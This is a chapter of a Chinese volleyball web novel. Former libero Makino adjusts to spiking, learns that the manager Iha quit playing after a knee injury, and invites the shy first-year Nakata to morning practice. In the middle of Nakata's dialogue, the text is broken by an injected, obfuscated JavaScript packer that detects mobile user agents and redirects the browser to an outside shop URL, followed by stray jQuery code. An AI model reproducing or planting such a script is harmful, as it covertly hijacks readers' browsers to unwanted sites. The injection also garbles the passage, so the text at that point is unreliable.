22.
回到位置上，伊藤在网那边冲牧野清做了个“加油”的口型。
他是一年级里唯一一个被分到跟二年级合练的，理由是“传球稳”。牧野清不知道这个理由够不够充分，但他确实稳。稳到不管攻手跑到哪里，球总能出现在该出现的地方。
“再来！”
学长把球抛起来。牧野清盯着球，盯着伊藤的手，盯着他托起球的瞬间——
往前。
助跑，起跳，挥臂。
球扣下去，砸在对面场地上。动作比之前顺了一点，但还不够。牧野清知道不够。那种从自由人思维里跳出来的感觉，像是脱一件穿了三年的衣服，总是有地方卡着脱不下来。
“好，再来一组！”
太阳开始西斜的时候，体育馆里的光线变得有点暗。角落里有人打开了灯，白色的灯光把球场照得更亮，也让影子变得更短。
牧野清站在场边喝水，毛巾搭在脖子上。汗水顺着脊背往下流，把衣服浸湿了一大片。
“第一天就这强度，受得了吗？”
声音从旁边传来。牧野清转头，伊波不知道什么时候站在旁边，手里拿着那个记录板。
“还好。”牧野清说。
她点点头，目光在场内扫了一圈，最后落在牧野清身上。
“刚才教练跟我说了。”
“什么？”
“他说你进步很大，很夸张。”她把记录板换到另一只手，“他说，你扣球的手感比想象的好，但脚步太像自由人了。喜欢等，不喜欢追。”
牧野清没说话。
“不过他让你跟早训。”伊波顿了顿，“一年级里只有三个有这个待遇。伊藤一个，中野一个，你一个。”
“中野？”
牧野清有点意外。那个说话声音很小的副攻，刚才合练的时候确实没太注意他。
伊波往场内抬了抬下巴。牧野清顺着看过去，中野正在跟三年级的打练习赛。一个扣球过来，他跳起来拦网——时机刚好，手型刚好，球被拦回去，落在对面场地上。
“他拦网有直觉。”伊波说，“教练说的。”
牧野清看着中野落回地面，还是那副低着头的样子，好像刚才那个漂亮的拦网跟他没关系似的。
“那你呢？”牧野清忽然问道。
伊波意外地看了他一眼。
“我什么？”
“你打什么位置？”
“你知道我打排球？”
她没有立刻回答。目光从牧野清身上移开，落在球场另一侧——三年级的休息区那边，有个女经理正在给队员递毛巾。她动作很快，递完就退到场边，抱着水壶站在那里。
“我受伤了。”伊波说，“去年县大赛前，左膝。半月板。”
她的语气很平常，像是在说别人的事。
“所以现在是经理，不是球手。”
牧野清不知道该说什么。
伊波把记录板夹在腋下。
“不过还行。”她说，“看着你们打，比自己打轻松。”
她转身走了，马尾在身后晃了晃。
牧野清站在原地，看着她的背影消失在三年级的队伍里。那边有人喊她，她应了一声，声音不大，但能听见。
“伊波——记录板借我一下——”
“等一下。”
训练结束的时候，天已经快黑了。
体育馆里的灯全亮着，把每一个角落都照得清清楚楚。新生们三三两两地收拾东西，有人瘫坐在地上喘气，有人在喝水，有人在拉伸。
牧野清把球捡完，放回球车里。球车推到墙角的时候，轮子卡了一下，他低头看，是一截不知道什么时候掉进去的胶带。
蹲下来把胶带扯出来的时候，有人站在他的旁边。
牧野清抬头。
是下午那个一直系鞋带的男生。他站在那儿，看着牧野清，手里攥着鞋带——这次没在系。
“那个。”他说。
牧野清站起来。
“什么事？”
他张了张嘴，又闭上。过了两秒，才憋出一句话。
“......你怎么做到的？”
“什么？”
“转位置。”他说，“我......我也是自由人。国中三年。但我想打二传。可是一到场上，就...
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307601|198724||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
...”
他没说完，但牧野清知道他想说什么。
是——习惯。
那种刻进骨头里的、打了三年形成的习惯。看到球飞过来就想扑出去接，看到队友起跳就想往后撤防守位置，看到对面扣球就想提前预判线路——
不是那么容易改的东西。
牧野清看着他的眼睛，想了想。
“不知道。”牧野清说，“我也才第一天。”
他愣了一下，然后低下头。
“......哦。”
他把鞋带攥得更紧了，指节有点发白。过了几秒，他转身要走。
“喂。”
牧野清喊住他。
他回头。
“明天早训。”牧野清说，“你来吗？”
他看着牧野清，没说话。
“教练说六点半。迟到要跑到吐。”
他眨了眨眼，然后——嘴角动了动。不知道算不算笑。
“.....来。”
他把鞋带松开，这次终于没再系。转身走了几步，又回头看了牧野清一眼。
“我叫——”
“中田。”牧野清说，“刚才点名的时候听到了。”
他愣了一下，然后点点头，快步走了。
牧野清站在原地，看着他消失在门口。
体育馆里的人越来越少。灯还亮着，但声音已经安静下来。那边二年级的在收拾球网，有人喊“左边高点”，有人应“知道了”。
牧野清把手里的胶带扔进垃圾桶，拎起书包。
走出体育馆的时候，天已经彻底黑了。路灯亮起来，在地上投下一圈圈昏黄的光。风吹过来，带着点夜晚的凉意，还有淡淡的樱花香。
手机又震了。
妈妈：“几点回来？饭在锅里。”
牧野清打了几个字：“刚结束。现在就回。”
把手机塞进口袋，他顺着路灯往回走。
路过那棵最大的樱花树时，他停下来看了一眼。花瓣在夜里看不清楚，但能闻到味道——很淡，要仔细闻才能闻到。
明天六点半。
牧野清继续往前走。